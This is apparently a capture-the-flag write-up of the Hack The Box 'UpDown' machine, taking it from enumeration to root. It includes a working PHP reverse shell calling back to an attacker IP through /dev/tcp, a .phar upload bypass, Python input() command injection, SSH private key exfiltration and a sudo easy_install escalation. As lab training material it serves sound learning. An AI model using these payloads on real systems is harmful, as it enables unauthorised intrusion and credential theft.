Nmap

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 19:32 +08
Nmap scan report for 10.10.11.177
Host is up (0.25s latency).
Not shown: 63224 closed tcp ports (conn-refused), 2309 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)

Only 2 ports are open.

Browsing

We see a domain name siteisup.htb so let’s just add that to /etc/hosts.

Tried siteisup.htb and others on the form but it doesn’t accept input without http:// and detects them as hacking attempts.

http://siteisup.htb produces an is up. Additionally, with debug mode on, it seems to display the output of a curl command.

Dirbust http://10.10.11.177

Running: feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.177 -t 50 -o feroxbuster-directory-list-2.3-medium.txt-http101011177

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://10.10.11.177
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ”Ž  Extract Links         β”‚ true
 πŸ’Ύ  Output File           β”‚ feroxbuster-directory-list-2.3-medium.txt-http101011177
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      320l      675w     5531c http://10.10.11.177/stylesheet.css
200      GET       40l       93w     1131c http://10.10.11.177/
301      GET        9l       28w      310c http://10.10.11.177/dev => http://10.10.11.177/dev/
[####################] - 20m   441095/441095  0s      found:3       errors:609
[####################] - 20m   220545/220545  182/s   http://10.10.11.177/
[####################] - 20m   220545/220545  182/s   http://10.10.11.177/dev/

Directory busting indicates that there might be something in /dev.

/dev

We see that it’s blank and there are no errors.

Subdomain FUZZ.siteisup.htb

ffuf -u http://siteisup.htb -ac -H "HOST: FUZZ.siteisup.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://siteisup.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.siteisup.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

dev                     [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 5168ms]
:: Progress: [114441/114441] :: Job [1/1] :: 165 req/sec :: Duration: [0:12:15] :: Errors: 0 ::

Seems like there’s a dev subdomain so we add it to /etc/hosts.

dev.siteisup.htb

forbidden Directory busting dev.siteisup.htb returned nothing.

.git

http://siteisup.htb/dev/.git Wordlists commonly used for dirbusting did not contain .git, hence, why /.git did not turn up. That is why it’s good to sometimes perform manual enumeration on directories.

git-dumper

https://github.com/arthaud/git-dumper

Using git-dumper we can download the whole git repository.

% git-dumper http://siteisup.htb/dev/.git .

[-] Testing http://siteisup.htb/dev/.git/HEAD [200]
[-] Testing http://siteisup.htb/dev/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://siteisup.htb/dev/.gitignore [404]
[-] http://siteisup.htb/dev/.gitignore responded with status code 404
[-] Fetching http://siteisup.htb/dev/.git/ [200]
[-] Fetching http://siteisup.htb/dev/.git/packed-refs [200]
[-] Fetching http://siteisup.htb/dev/.git/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/branches/ [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/ [200]
[-] Fetching http://siteisup.htb/dev/.git/config [200]
[-] Fetching http://siteisup.htb/dev/.git/description [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/ [200]
[-] Fetching http://siteisup.htb/dev/.git/info/ [200]
[-] Fetching http://siteisup.htb/dev/.git/index [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/ [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/info/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/tags/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/ [200]
[-] Fetching http://siteisup.htb/dev/.git/info/exclude [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/commit-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/post-update.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-commit.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-push.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-receive.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/update.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.idx [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.pack [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/origin/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/origin/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/heads/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/origin/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/origin/HEAD [200]
[-] Running git checkout .
Updated 6 paths from the index

git logs

% git log --oneline

010dcc3 (HEAD -> main, origin/main, origin/HEAD) Delete index.php
c8fcc40 Update checker.php
f67efd0 Create checker.php
ab9bc16 Update changelog.txt
60d2b32 Create admin.php
c1998f8 Add admin panel.
35a3801 Update changelog.txt
57af03b Create index.php
354fe06 Delete .htpasswd
8812785 New technique in header to protect our dev vhost.
bc4ba79 Update .htaccess
61e5cc0 Update index.php
3d66cd4 Create changelog.txt
4fb1927 Create stylesheet.css
6f89af7 Create index.php
8d1beb1 Create .htpasswd
6ddcc7a Create .htaccess

Looking at the git logs, we find some interesting changes.

Things to check:

  • index.php
  • checker.php
  • admin.php
  • .htpasswd
  • new technique to protect dev vhost
  • .htaccess

.htaccess

% cat .htaccess

SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

Seems like there’s a special header configuration so let’s try adding the following header in the HTTP request in burp: Special-Dev: only4dev

With this, we managed to access dev.siteisup.htb but it’s not as interactive to do it in burp so we use a browser extension such as Modify Header Value to browse the site normally.

dev.siteisup.htb is noticeably different to the one we saw earlier. The noticeable differences are:

  • admin panel link at the top
  • siteisup.htb (beta) and changelog.txt at the bottom
  • the website checker now handles files instead of just URL input

dev.siteisup.htb beta site

test file

cat test

10.10.11.177
10.10.14.3
http://siteisup.htb

I created a test file containing the LHOST and RHOST IPs as well as a domain for the app to check.

It even checked the accidental newline when i echo-ed the data into the file.

Actually there was no newline in the file, however, I added a newline and it did check for it.

checker.php

There was a php file earlier in the git repository and we can review what the function does.

if($_POST['check']){
  
	# File size must be less than 10kb.
	if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
	$file = $_FILES['file']['name'];
	
	# Check if extension is allowed.
	$ext = getExtension($file);
	if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
		die("Extension not allowed!");
	}
  
	# Create directory to upload our file.
	$dir = "uploads/".md5(time())."/";
	if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
  
	# Upload the file.
	$final_path = $dir.$file;
	move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
	
	# Read the uploaded file.
	$websites = explode("\n",file_get_contents($final_path));
	
	foreach($websites as $site){
		$site=trim($site);
		if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
			$check=isitup($site);
			if($check){
				echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
			}else{
				echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
			}	
		}else{
			echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
		}
	}
	
	# Delete the uploaded file.
	@unlink($final_path);
}

The code in checker.php mentions it will download my file, read it and then delete it.

PHP Execution

Interestingly, it checks for file extensions but it seems that .phar is not restricted so I am going to try php execution with the usual phpinfo() command first to test it.

	# Check if extension is allowed.
	$ext = getExtension($file);
	if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
		die("Extension not allowed!");
	}

I created phpinfo.phar and uploaded it in the form.

<?php phpinfo(); ?>

Based on the checker.php code, it creates a “random” directory using the hash of time and puts the file inside it. However, when I navigate to the directory, it’s empty. As mentioned earlier, the code will read the file and immediately delete it.

So I decided to put a couple of domains below my php code to keep the checker busy while I access the uploaded file. This should delay the deletion a little bit since it will download the file first and then read it line by line before finally deleting it.

True enough, I got it busy judging by the loading animation beside the site title.

I can finally see my uploaded file.

Clicking on it gives me PHP execution.

http://dev.siteisup.htb/?page=phar://uploads/ea4bedf375179a6cfba92495ab4de195/info.123/info

https://github.com/ivan-sincek/php-reverse-shell Tried the usual reverse shell but it didn’t work.

dfunc-bypasser

After some searching, I realised that the PHP server may have some PHP functions disabled causing most reverse shells dependent on such functions to not work.

Looking at the phpinfo we have, seems like there’s a lot disabled functions.

I found this tool that reads the phpinfo and tells us which functions are not disabled. https://github.com/teambi0s/dfunc-bypasser

However, this tool was written 5 years ago in Python 2 which I do not like.

Luckily, I found a good samaritan who saw this and took it upon himself to convert the script to Python 3. https://www.linkedin.com/posts/edpd_github-rootsecdevdfunc-bypasser-this-activity-7205921767997997057-Hbpf

python3 ~/opt/tools/php-tools/dfunc-bypasser/dfunc-bypasser.py --file phpinfo.html | tee dfunc-bypasser                                                


                                ,---,
                                  .'  .' `\
                                  ,---.'     \
                                  |   |  .`\  |
                                  :   : |  '  |
                                  |   ' '  ;  :
                                  '   | ;  .  |
                                  |   | :  |  '
                                  '   : | /  ;
                                  |   | '` ,/
                                  ;   :  .'
                                  |   ,.'
                                  '---'


                        authors: __c3rb3ru5__, $_SpyD3r_$


Please add the following functions in your disable_functions option:
proc_open
If PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socket

it appears that proc_open is allowed. i tried googling proc_open reverse shell and found that a lot of reverse shells use proc_open but they also use some other functions that have been disabled.

Reverse Shell

Turns out, it’s possible to just extract out a small part of the famous pentestmonkey php reverse shell and make a tiny change. pentestmonkey php reverse shell

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.3/1234 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes);
?>

my shell.phar

With that, I start a nc listener on port 1234, run the manual exploit and I get a shell.

Upgrade Shell

Found another way to upgrade my shell that doesn’t involve python.

www-data@updown:/var/www$ script /dev/null -c bash
Script started, file is /dev/null
www-data@updown:/var/www$ ^Z
[1]  + 3610070 suspended  nc -lvnp 1234

[08:48] hans@parrot ~/Documents/HTB/UpDown/1-enum/1-external/2-web
% stty raw -echo; fg                                                           
[1]  + 3610070 continued  nc -lvnp 1234

www-data@updown:/var/www$ reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@updown:/var/www$

steps

script /dev/null -c bash

CTRL-Z to suspend

stty raw -echo; fg

Enter reset when it foregrounds back to the shell and then enter screen when it requests for terminal type.

I can navigate to the home folder of user developer but since I’m in a shell as www-data and due the permissions set, I cannot read most files.

www-data@updown:/home/developer$ cat user.txt
cat: user.txt: Permission denied
www-data@updown:/home/developer$ cd .ssh
bash: cd: .ssh: Permission denied

Home directory

I found a dev folder within developer’s home directory which is owned by developer but also owned by the group www-data which the user www-data is in.

www-data@updown:/home/developer$ ls -al
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30  2022 .
drwxr-xr-x 3 root      root      4096 Jun 22  2022 ..
lrwxrwxrwx 1 root      root         9 Jul 27  2022 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer  231 Jun 22  2022 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25  2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30  2022 .cache
drwxrwxr-x 3 developer developer 4096 Aug  1  2022 .local
-rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile
drwx------ 2 developer developer 4096 Aug  2  2022 .ssh
drwxr-x--- 2 developer www-data  4096 Jun 22  2022 dev
-rw-r----- 1 root      developer   33 Nov 12 23:03 user.txt

www-data@updown:/home/developer$ cd dev
www-data@updown:/home/developer/dev$ ls -al
total 32
drwxr-x--- 2 developer www-data   4096 Jun 22  2022 .
drwxr-xr-x 6 developer developer  4096 Aug 30  2022 ..
-rwsr-x--- 1 developer www-data  16928 Jun 22  2022 siteisup
-rwxr-x--- 1 developer www-data    154 Jun 22  2022 siteisup_test.py
www-data@updown:/home/developer/dev$ groups
www-data

/home/developer/dev

www-data@updown:/home/developer/dev$ file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped

www-data@updown:/home/developer/dev$ cat siteisup_test.py
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"

Inside dev directory, there are 2 files and that one of them has a sticky bit. The file command indicates that it is a binary which I assume pertains to the python script of a similar name in the directory.

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:http://127.0.0.1
Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1
    http://127.0.0.1
        ^
SyntaxError: invalid syntax


www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:"http://127.0.0.1"
Website is up

When running the binary, it seems that I need to supply my own quotes for the URL I provide.

Looking at the python code, there is no input validation for the url variable so we can try command injection.

Command Injection

I tried to inject import os; os.system("bash") but to no avail.

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:import os; os.system("bash")
Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1
    import os; os.system("bash")
         ^
SyntaxError: invalid syntax

I then found a nonstandard way of importing a module by using the built-in function to import os dynamically and then running the system function: __import__('os').system('bash')

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

Enter URL here:__import__('os').system('bash')
developer@updown:/home/developer/dev$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)

We are still not in the clear yet since the command injection we did earlier only ran bash as the user developer but somehow, we are still in the www-data group.

-rw-r----- 1 root      developer   33 Nov 12 23:03 user.txt

The cheeky box creator ensured that we need to try harder to get the user flag.

Upgrade to SSH

Since we saw the .ssh folder earlier, we can copy the private key, id_rsa and use it to login via SSH.

authorized_keys

developer@updown:/home/developer/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCa8HjRNYzx67SfoU7OLFMDWlDf1KnBjKtgKMqsO2nyDkTTkQRwnD9LWqL08Wg2/OS3tTLf77rEN33m6AB225EvurMDTfFI2Sqe3YeCMoA86vpy0i8wOmHwl4EXYX1LLheu18I/vr5anObFPu628YPQ3UBjf4QZGk5vurn1fSlw9GchSfG7aw368heN8a+qIBijM4HkN5fytvZuSKLpLdDW0zVVQOhbtwJFucEyCWbYVcQlT2US/0/LYPgFq8W+hSq1PxoKiyusq9OkBCQ+u9+KhKG0imj3kZ/LHoGPYwonpC6GIkr47bNibTPa6OMJe4zdXglvQjVR36pr5C3FOw1BWlwi5y3TrFN9Vd4S09OFosjkqRcSXH5ODBHTrfePBGl/HV5WAsLHFiTkJqke67SeFSkgJTUVevq1Xa4TUshvlMmsIjHjv0SVtzUw+sYKSxBVXwR6wjuSTkDZKuc0zEt7ZyQixAdAfEhyK8IIjMHhH0Vs4p1IrJlMd5nOM/CdT4U= developer@siteisup

developer@updown:/home/developer/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCa8HjRNYzx67SfoU7OLFMDWlDf1KnBjKtgKMqsO2nyDkTTkQRwnD9LWqL08Wg2/OS3tTLf77rEN33m6AB225EvurMDTfFI2Sqe3YeCMoA86vpy0i8wOmHwl4EXYX1LLheu18I/vr5anObFPu628YPQ3UBjf4QZGk5vurn1fSlw9GchSfG7aw368heN8a+qIBijM4HkN5fytvZuSKLpLdDW0zVVQOhbtwJFucEyCWbYVcQlT2US/0/LYPgFq8W+hSq1PxoKiyusq9OkBCQ+u9+KhKG0imj3kZ/LHoGPYwonpC6GIkr47bNibTPa6OMJe4zdXglvQjVR36pr5C3FOw1BWlwi5y3TrFN9Vd4S09OFosjkqRcSXH5ODBHTrfePBGl/HV5WAsLHFiTkJqke67SeFSkgJTUVevq1Xa4TUshvlMmsIjHjv0SVtzUw+sYKSxBVXwR6wjuSTkDZKuc0zEt7ZyQixAdAfEhyK8IIjMHhH0Vs4p1IrJlMd5nOM/CdT4U= developer@siteisup

Just to confirm, we want to ensure that the public key is inside the authorized_keys file.

I wanted to cat the private key, copy it and then manually create it in my local but I remembered we were dealing with python and I might just be able to run a python http.server within the target machine.

developer@updown:/home/developer/.ssh$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.14.3 - - [13/Nov/2024 03:22:26] "GET /id_rsa HTTP/1.1" 200 -

So I did.

wget http://10.10.11.177:8888/id_rsa                                                           !2021
--2024-11-13 11:22:27--  http://10.10.11.177:8888/id_rsa
Connecting to 10.10.11.177:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2602 (2.5K) [application/octet-stream]
Saving to: β€˜id_rsa’

id_rsa                     100%[=====================================>]   2.54K  --.-KB/s    in 0s

2024-11-13 11:22:28 (206 MB/s) - β€˜id_rsa’ saved [2602/2602]

Remember to change the permissions:

Connect via SSH

% ssh -i id_rsa [email protected]
The authenticity of host 'siteisup.htb (10.10.11.177)' can't be established.
ED25519 key fingerprint is SHA256:c0DzrPfIOA6IA7zGJh7Ee/FJ3B2g7R2KnzeUif9zCWQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'siteisup.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64)
...
[truncated]
...
developer@updown:~$

User Flag

developer@updown:~$ cat user.txt
514a363b07ddebe9d0b80c021872b17b

sudo -l

developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

Saw that developer can run /usr/local/bin/easy_install as any user without password.

gtfobins

Simple google search of /usr/local/bin/easy_install exploit gave me this: https://gtfobins.github.io/gtfobins/easy_install/#sudo

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF

I ran the commands unchanged line-by-line:

developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.x0oVIFPdGz
Writing /tmp/tmp.x0oVIFPdGz/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.x0oVIFPdGz/egg-dist-tmp-ZEBuRr
# id
uid=0(root) gid=0(root) groups=0(root)

And I get root.

root flag

# cat /root/root.txt
6049a69efdd60be0e47c546a04634ed0

One of the most simplest privescs ever.